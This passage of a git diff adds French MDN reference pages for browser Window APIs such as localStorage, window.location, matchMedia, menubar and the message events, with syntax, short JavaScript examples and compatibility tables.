+<pre class="brush: js">var cat = localStorage.getItem('myCat');</pre>
+
+<p>La syntaxe pour la suppression de l'élément <code>localStorage</code> est la suivante :</p>
+
+<pre class="brush: js">localStorage.removeItem('myCat');</pre>
+
+<p>La syntaxe pour supprimer tous les éléments de <code>localStorage</code> est la suivante :</p>
+
+<pre class="brush: js">// Effacer tous les éléments
+localStorage.clear();
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Se référer à l'article <a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a> pour voir un exemple complet.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webstorage.html#dom-localstorage", "localStorage")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Window.localStorage")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></li>
+ <li>{{domxref("Storage/LocalStorage")}}</li>
+ <li>{{domxref("Window/SessionStorage")}}</li>
+ <li>{{domxref("Window.sessionStorage")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/location/index.html b/files/fr/web/api/window/location/index.html
new file mode 100644
index 0000000000..f28ec3ddc0
--- /dev/null
+++ b/files/fr/web/api/window/location/index.html
@@ -0,0 +1,273 @@
+---
+title: window.location
+slug: Web/API/window/location
+tags:
+  - DOM
+  - DOM_0
+translation_of: Web/API/Window/location
+---
+<p>Renvoie un objet <code>Location</code> contenant des informations concernant l'URL actuelle du document et fournit des méthodes pour modifier cette URL. Cette propriété peut être utilisée pour charger une autre page.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">  var adresseActuelle = window.location;
+  window.location = nouvelleAdresse;</pre>
+
+<p>où</p>
+
+<ul>
+ <li><em>adresseActuelle</em> est un objet de type <code>Location</code>, fournissant des informations à propos de l'URL courante et des méthodes pour la modifier. Ses propriétés et méthodes sont décrites ci-dessous.</li>
+ <li><em>nouvelleAdresse</em> est un objet <code>Location</code> ou une chaîne de caractères indiquant l'URL à charger.</li>
+</ul>
+
+<h2 id="L.27objet_Location" name="L.27objet_Location">L'objet <code>Location</code></h2>
+
+<p>Les objets <code>Location</code> ont une méthode <code>toString</code> renvoyant l'URL courante. Il est également possible d'assigner une chaîne à <code>window.location</code>. Cela signifie que <code>window.location</code> peut être utilisé comme s'il s'agissait d'une chaîne dans la plupart des cas. De temps en temps, par exemple pour appeler une méthode d'objet <a href="/fr/R%C3%A9f%C3%A9rence_de_JavaScript_1.5_Core/Objets_globaux/String" title="fr/Référence_de_JavaScript_1.5_Core/Objets_globaux/String">String</a>, il est nécessaire d'appeler explicitement <code>toString</code> :</p>
+
+<pre class="brush: js">alert(window.location.toString().charAt(17))
+</pre>
+
+<h2 id="Propri.C3.A9t.C3.A9s" name="Propri.C3.A9t.C3.A9s">Propriétés</h2>
+
+<p>Toutes les propriétés suivantes sont des chaînes de caractères. Elles peuvent être lues pour obtenir des informations concernant l'URL courante, ou modifiées pour accéder à une autre adresse URL.</p>
+
+<p>La colonne « Exemple » contient les valeurs de ces propriétés pour l'URL suivante :<span class="nowiki"> http://www.example.com:8080/search?q=devmo#test</span></p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Propriété</th>
+   <th>Description</th>
+   <th>Exemple</th>
+  </tr>
+  <tr>
+   <td><a name="hash"><code>hash</code></a></td>
+   <td>La partie de l'URL qui suit le symbole « # », s'il y en un, avec ce symbole inclus. Une chaîne de caractères vide s'il n'y a pas de symbole #, ou qu'il n'est suivi par rien. Vous pouvez écouter l'<a href="/en-US/docs/Web/Reference/Events/hashchange" title="/en-US/docs/Web/Reference/Events/hashchange">évènement hashchange</a> pour être alerté des changements du hash dans les navigateurs le supportant.</td>
+   <td>#test</td>
+  </tr>
+  <tr>
+   <td><a name="host"><code>host</code></a></td>
+   <td>Le nom de l'hôte et son numéro de port.</td>
+   <td>www.<span class="nowiki">example</span>.com:8080</td>
+  </tr>
+  <tr>
+   <td><a name="hostname"><code>hostname</code></a></td>
+   <td>Le nom de l'hôte (sans son numéro de port).</td>
+   <td>www.<span class="nowiki">example</span>.com</td>
+  </tr>
+  <tr>
+   <td><a name="href"><code>href</code></a></td>
+   <td>L'URL entière.</td>
+   <td><span class="nowiki">http://www.</span><span class="nowiki">example</span><span class="nowiki">.com:8080/search?q=devmo#test</span></td>
+  </tr>
+  <tr>
+   <td><a name="origin"><code>origin</code></a></td>
+   <td>L'origine de l'URL</td>
+   <td><span class="nowiki">http://www.</span><span class="nowiki">example</span><span class="nowiki">.com:8080</span></td>
+  </tr>
+  <tr>
+   <td><a name="pathname"><code>pathname</code></a></td>
+   <td>Le chemin (relativement à l'hôte).</td>
+   <td>/search</td>
+  </tr>
+  <tr>
+   <td><a name="port"><code>port</code></a></td>
+   <td>Le numéro de port de l'URL. Si l'URL n'a pas de port (si le site utilise le port 80, le port par défaut de la plupart des sites), une chaîne de caractères vide est renvoyée.</td>
+   <td>8080</td>
+  </tr>
+  <tr>
+   <td><a name="protocol"><code>protocol</code></a></td>
+   <td>Le protocole de l'URL.</td>
+   <td>http:</td>
+  </tr>
+  <tr>
+   <td><a name="search"><code>search</code></a></td>
+   <td>La partie de l'URL qui suit le symbole « <code>?</code> », avec ce symbole inclus</td>
+   <td>?q=devmo</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="M.C3.A9thodes" name="M.C3.A9thodes">Méthodes</h2>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Méthode</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>assign(<em>url</em>)</code></td>
+   <td>Charge le document situé à l'URL spécifiée.</td>
+  </tr>
+  <tr>
+   <td><code>reload(<em>forceget</em>)</code></td>
+   <td>Recharge le document depuis l'URL actuelle. <code>forceget</code> est une valeur booléenne, qui lorsqu'elle vaut <code>true</code> force la page à être rechargée depuis le serveur. Si elle vaut <code>false</code> ou n'est pas précisée, le navigateur peut recharger la page depuis son cache.</td>
+  </tr>
+  <tr>
+   <td><code>replace(<em>url</em>)</code></td>
+   <td>Remplace le document courant par celui situé à l'URL fournie. La différence avec la méthode <code>assign()</code> est qu'après un <code>replace()</code>, la page courante ne sera pas enregistrée dans l'historique de la session, ce qui signifie que l'utilisateur ne pourra pas utiliser le bouton « Page précédente » pour y retourner.</td>
+  </tr>
+  <tr>
+   <td><code>toString()</code></td>
+   <td>Renvoie la représentation sous forme de chaîne de l'URL de l'objet <code>Location</code>. Consultez la <a href="/fr/docs/JavaScript/Référence_JavaScript/Référence_JavaScript/Objets_globaux/Object/toString" title="fr/Référence_de_JavaScript_1.5_Core/Objets_globaux/Object/toString">référence JavaScript</a> pour plus de détails.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemple" name="Exemple">Exemples</h2>
+
+<h3 id="Exemple_1_Naviguer_vers_une_nouvelle_page">Exemple 1 : Naviguer vers une nouvelle page</h3>
+
+<p>A chaque fois qu'une nouvelle valeur est assignée à l'objet <code>Location</code>, un document sera chargé en utilisant l'URL fournie, comme si <code>window.location.assign() </code>avait été appelé avec la nouvelle URL.</p>
+
+<pre class="brush: js">window.location.assign("http://www.mozilla.org"); // ou
+window.location = "http://www.mozilla.org";
+</pre>
+
+<h3 id="Exemple_2_Forcer_le_rechargement_de_la_page_actuelle_depuis_le_serveur">Exemple 2 :  Forcer le rechargement de la page actuelle depuis le serveur</h3>
+
+<pre class="brush: js">window.location.reload(true);</pre>
+
+<h3 id="Exemple_3_Afficher_les_propriétés_de_l'URL_actuelle_dans_une_fenêtre_d'alerte">Exemple 3 : Afficher les propriétés de l'URL actuelle dans une fenêtre d'alerte</h3>
+
+<pre class="brush: js">function montrerLoc() {
+  var oLocation = window.location, aLog = ["Propriété (Typeof): valeur", "window.location (" + (typeof oLocation) + "): " + oLocation ];
+  for (var sProp in oLocation){
+    aLog.push(sProp + " (" + (typeof oLocation[sProp]) + "): " +  (oLocation[sProp] || "n/a"));
+  }
+  alert(aLog.join("\n"));
+}
+
+// dans le HTM: &lt;button onclick="montrerLoc();"&gt;Montrer les propriétés de Location&lt;/button&gt;
+</pre>
+
+<h3 id="Exemple_4_Envoyer_une_chaine_de_données_au_serveur_en_modifiant_la_propriété_search">Exemple 4 : Envoyer une chaine de données au serveur en modifiant la propriété <code>search</code></h3>
+
+<pre class="brush: js">function envoyerDonnees (sData) {
+  window.location.search = sData;
+}
+
+// dans le HTML : &lt;button onclick="envoyerDonnees('des infos');"&gt;Envoyer des données&lt;/button&gt;
+</pre>
+
+<p>L'adresse URL complêtée par "?des%20infos" est envoyée au serveur (si aucune action est prise en charge par le serveur, le document actuel est rechargé avec la nouvelle chaîne de caractère modifié).</p>
+
+<h3 id="Exemple_5_Obtenir_la_valeur_d'un_paramètre_de_l'URL_par_window.location.search">Exemple 5 : Obtenir la valeur d'un paramètre de l'URL par <code>window.location.search</code></h3>
+
+<pre class="brush: js">function obtenirParametre (sVar) {
+  return unescape(window.location.search.replace(new RegExp("^(?:.*[&amp;\\?]" + escape(sVar).replace(/[\.\+\*]/g, "\\$&amp;") + "(?:\\=([^&amp;]*))?)?.*$", "i"), "$1"));
+}
+
+alert(obtenirParametre("nom"));
+</pre>
+
+<h3 id="Exemple_6_Placer_les_valeurs_obtenues_par_window.location.search_dans_un_objet_nommé_oParametres">Exemple 6 : Placer les valeurs obtenues par <code>window.location.search</code> dans un objet nommé <code>oParametres</code></h3>
+
+<pre class="brush: js">var oParametre = {};
+
+if (window.location.search.length &gt; 1) {
+  for (var aItKey, nKeyId = 0, aCouples = window.location.search.substr(1).split("&amp;"); nKeyId &lt; aCouples.length; nKeyId++) {
+    aItKey = aCouples[nKeyId].split("=");
+    oParametre[unescape(aItKey[0])] = aItKey.length &gt; 1 ? unescape(aItKey[1]) : "";
+  }
+}
+
+// alert(oParametre.votreValeur);
+</pre>
+
+<p>… la même chose avec un constructeur anonyme :</p>
+
+<pre class="brush: js">var oParametre = new (function (sRecherche) {
+  if (sRecherche.length &gt; 1) {
+    for (var aItKey, nKeyId = 0, aCouples = sRecherche.substr(1).split("&amp;"); nKeyId &lt; aCouples.length; nKeyId++) {
+      aItKey = aCouples[nKeyId].split("=");
+      this[unescape(aItKey[0])] = aItKey.length &gt; 1 ? unescape(aItKey[1]) : "";
+    }
+  }
+})(window.location.search);
+
+// alert(oParametre.votreValeur);
+</pre>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<p>{{SpecName("HTML WHATWG", "#the-location-interface")}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>
+    <p>{{ CompatVersionUnknown() }}</p>
+   </td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>window.location.origin</code></td>
+   <td>
+    <p>{{ CompatVersionUnknown() }}</p>
+   </td>
+   <td>{{CompatGeckoDesktop(21)}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>window.location.origin</code></td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoMobile(21)}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur" title="en/DOM/Manipulating the browser history">Manipuler l'historique du navigateur</a></li>
+ <li>{{domxref('window.history')}}</li>
+ <li><a href="/en-US/docs/Web/Reference/Events/hashchange" title="/en-US/docs/DOM/Mozilla_event_reference/hashchange">hashchange</a></li>
+</ul>
diff --git a/files/fr/web/api/window/locationbar/index.html b/files/fr/web/api/window/locationbar/index.html
new file mode 100644
index 0000000000..aa38a49d88
--- /dev/null
+++ b/files/fr/web/api/window/locationbar/index.html
@@ -0,0 +1,74 @@
+---
+title: Window.locationbar
+slug: Web/API/Window/locationbar
+tags:
+  - API
+  - HTML DOM
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/Window/locationbar
+---
+<div>{{APIRef}}</div>
+
+<p>Renvoie l'objet <code>locationbar</code>, dont la visibilité peut être vérifiée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>objRef</var> = window.locationbar
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple HTML complet suivant montre comment la propriété <code>visible</code> de l'objet <code>locationbar</code> est utilisée.</p>
+
+<pre class="brush:html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html lang="fr"&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;Divers tests DOM&lt;/title&gt;
+
+&lt;script&gt;
+var visible = window.locationbar.visible;
+&lt;/script&gt;
+
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Divers tests DOM&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-window-locationbar', 'Window.locationbar')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-window-locationbar', 'Window.locationbar')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez vérifier <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.locationbar")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("window.locationbar")}}, {{domxref("window.menubar")}}, {{domxref("window.personalbar")}}, {{domxref("window.scrollbars")}}, {{domxref("window.statusbar")}}, {{domxref("window.toolbar")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/matchmedia/index.html b/files/fr/web/api/window/matchmedia/index.html
new file mode 100644
index 0000000000..1237675eeb
--- /dev/null
+++ b/files/fr/web/api/window/matchmedia/index.html
@@ -0,0 +1,77 @@
+---
+title: window.matchMedia
+slug: Web/API/Window/matchMedia
+translation_of: Web/API/Window/matchMedia
+---
+<div>
+ {{ApiRef}}</div>
+<h2 id="Summary" name="Summary">Résumé</h2>
+<p>Retourne un nouvel objet {{domxref("MediaQueryList")}} contenant les résultats de la chaîne de caractères <a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">media query</a> spécifiée.</p>
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+<pre class="syntaxbox"><em>mql</em> = window.matchMedia(<em>mediaQueryString</em>)</pre>
+<p>Ici, <code>mediaQueryString</code> est une chaîne de caractère représentant la media query pour laquelle on retourne un nouvel objet {{domxref("MediaQueryList")}}.</p>
+<h2 id="Example" name="Example">Exemple</h2>
+<pre class="brush: js">if (window.matchMedia("(min-width: 400px)").matches) {
+  /* the view port is at least 400 pixels wide */
+} else {
+  /* the view port is less than 400 pixels wide */
+}</pre>
+<p>Ce code permet de gérer la mise en page d'une manière différente quand l'écran est moins large.</p>
+<p>Voir <a href="/en-US/docs/DOM/Using_media_queries_from_code" title="/en-US/docs/DOM/Using_media_queries_from_code">Utiliser les media queries avec du code</a> pour plus d'exemples.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+<p>{{CompatibilityTable()}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>9</td>
+    <td>{{CompatGeckoDesktop("6.0")}}</td>
+    <td>10 PP3 {{property_prefix("ms")}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>5.1</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>3.0</td>
+    <td>{{CompatGeckoMobile("6.0")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>5</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Specification" name="Specification">Spécification</h2>
+<ul>
+ <li><a class="external" href="http://dev.w3.org/csswg/cssom-view/#the-mediaquerylist-interface">The CSSOM View Module: The MediaQueryList Interface</a></li>
+</ul>
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+<ul>
+ <li><a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">Media queries</a></li>
+ <li><a href="/en-US/docs/DOM/Using_media_queries_from_code" title="CSS/Using media queries from code">Using media queries from code</a></li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("MediaQueryListListener")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/menubar/index.html b/files/fr/web/api/window/menubar/index.html
new file mode 100644
index 0000000000..eb2a7337ec
--- /dev/null
+++ b/files/fr/web/api/window/menubar/index.html
@@ -0,0 +1,74 @@
+---
+title: Window.menubar
+slug: Web/API/Window/menubar
+tags:
+  - API
+  - HTML DOM
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/Window/menubar
+---
+<div>{{ APIRef() }}</div>
+
+<p>La propriété <code><strong>Window.menubar</strong></code> renvoie l'objet <code>menubar</code>, dont la visibilité peut être vérifiée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><em>objRef</em> = <em>window</em>.menubar
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>L'exemple HTML complet suivant montre comment la propriété <code>visible</code> de l'objet <code>menubar</code> est utilisée.</p>
+
+<pre class="brush:html notranslate">&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Divers Tests DOM&lt;/title&gt;
+  &lt;script&gt;
+    var visible = window.menubar.visible;
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Divers Tests DOM&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'browsers.html#dom-window-menubar', 'Window.menubar')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-window-menubar', 'Window.menubar')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.menubar")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("Window.locationbar")}}</li>
+ <li>{{domxref("Window.personalbar")}}</li>
+ <li>{{domxref("Window.scrollbars")}}</li>
+ <li>{{domxref("Window.statusbar")}}</li>
+ <li>{{domxref("Window.toolbar")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/message_event/index.html b/files/fr/web/api/window/message_event/index.html
new file mode 100644
index 0000000000..4c401afaa8
--- /dev/null
+++ b/files/fr/web/api/window/message_event/index.html
@@ -0,0 +1,84 @@
+---
+title: 'Window: message event'
+slug: Web/API/Window/message_event
+tags:
+  - Evènement
+  - Window
+translation_of: Web/API/Window/message_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'événement <code>message</code> est déclenché sur un objet {{domxref('Window')}} lorsque la fenêtre reçoit un message, par exemple d'un appel a <code><a href="/en-US/docs/Web/API/Window/postMessage">Window.postMessage()</a></code> depuis un autre contexte de navigation.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bulles</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("MessageEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestionnaire d'événements</th>
+   <td><code><a href="/en-US/docs/Web/API/WindowEventHandlers/onmessage">onmessage</a></code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">Supposons qu'un script envoie un message à un contexte de navigation différent, tel qu'un autre </span></span><code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe">&lt;iframe&gt;</a></code>, en utilisant un code comme celui-ci:</p>
+
+<pre class="brush: js notranslate">const targetFrame = window.top.frames[1];
+const targetOrigin = 'https://exemple.org';
+const windowMessageButton = document.querySelector('#window-message');
+
+windowMessageButton.addEventListener('click', () =&gt; {
+    targetFrame.postMessage('bonjour', targetOrigin);
+});</pre>
+
+<p>Le récepteur peut écouter le message en utilisant <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> avec un code comme celui-ci:</p>
+
+<pre class="brush: js notranslate">window.addEventListener('message', (event) =&gt; {
+    console.log(`Message reçu: ${event.data}`);
+});</pre>
+
+<p>Alternativement l'écouteur peut utiliser la propriété du gestionnaire d'événements <code><a href="/en-US/docs/Web/API/WindowEventHandlers/onmessage">onmessage</a></code>:</p>
+
+<pre class="brush: js notranslate">window.onmessage = (event) =&gt; {
+    console.log(`Message reçu: ${event.data}`);
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'indices.html#event-message')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.message_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>Événements liés: <code><a href="/docs/Web/API/Window/messageerror_event">messageerror</a></code>.</li>
+ <li><code><a href="/en-US/docs/Web/API/Window/postMessage">Window.postMessage()</a></code>.</li>
+</ul>
diff --git a/files/fr/web/api/window/messageerror_event/index.html b/files/fr/web/api/window/messageerror_event/index.html
new file mode 100644
index 0000000000..9f7cc2a8be
--- /dev/null
+++ b/files/fr/web/api/window/messageerror_event/index.html
@@ -0,0 +1,79 @@
+---
+title: 'Window: messageerror event'
+slug: Web/API/Window/messageerror_event
+tags:
+  - API
+  - Evènement
+  - Message d'événement
+  - Reference
+  - Window
+translation_of: Web/API/Window/messageerror_event
+---
+<div>{{APIRef}}</div>
+
+<p>L'événement <code>messageerror</code> est déclenché sur un objet {{domxref('Window')}} lorsqu'il reçoit un message qui ne peut pas être désérialisé.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bulles</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Annulable</th>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("MessageEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Propriété de gestionnaire d'événements</th>
+   <td>{{domxref("WindowEventHandlers/onmessageerror", "onmessageerror")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Écoutez <code>messageerror</code> en utilisant {{domxref("EventTarget/addEventListener", "addEventListener()")}} :</p>
+
+<pre class="brush: js notranslate">window.addEventListener('messageerror', (event) =&gt; {
+    console.error(event);
+});</pre>
+
+<p>Idem, mais en utilisant la propriété de gestionnaire d'événements {{domxref("WindowEventHandlers/onmessageerror", "onmessageerror")}} :</p>
+
+<pre class="brush: js notranslate">window.onmessageerror = (event) =&gt; {
+    console.error(event);
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'indices.html#event-messageerror')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("api.Window.messageerror_event")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{domxref("Window.postMessage()")}}</li>
+ <li>Événements liés: {{domxref("Window/message_event", "message")}}.</li>
+</ul>
diff --git a/files/fr/web/api/window/mozanimationstarttime/index.html b/files/fr/web/api/window/mozanimationstarttime/index.html
new file mode 100644
index 0000000000..a536dff700
--- /dev/null
+++ b/files/fr/web/api/window/mozanimationstarttime/index.html
@@ -0,0 +1,41 @@
+---
+title: Window.mozAnimationStartTime
+slug: Web/API/Window/mozAnimationStartTime
+tags:
+  - API
+  - HTML DOM
+  - Obsolete
+  - Propriété
+  - Reference
+  - Window
+translation_of: Web/API/Window/mozAnimationStartTime
+---
+<p>{{APIRef("Mozilla Extensions")}}{{Non-standard_Header}}{{Obsolete_Header("Gecko42")}}</p>
+
+<p>Renvoie l'heure, en millisecondes depuis l'époque, à laquelle les animations ont commencé maintenant doivent être considérées comme ayant commencé. Cette valeur doit être utilisée à la place, par exemple, <code><a href="/en/JavaScript/Reference/Global_Objects/Date/now" title="en/JavaScript/Reference/Global Objects/Date/now">Date.now()</a></code>, car cette valeur sera la même pour toutes les animations lancées dans cette fenêtre pendant cet intervalle d'actualisation, leur permettant de rester synchronisées les unes avec les autres.</p>
+
+<p>Cela permet également aux animations basées sur JavaScript de rester synchronisées avec les transitions CSS et les animations SMIL déclenchées pendant le même intervalle d'actualisation.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval notranslate"><em>time</em> = window.mozAnimationStartTime;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<ul>
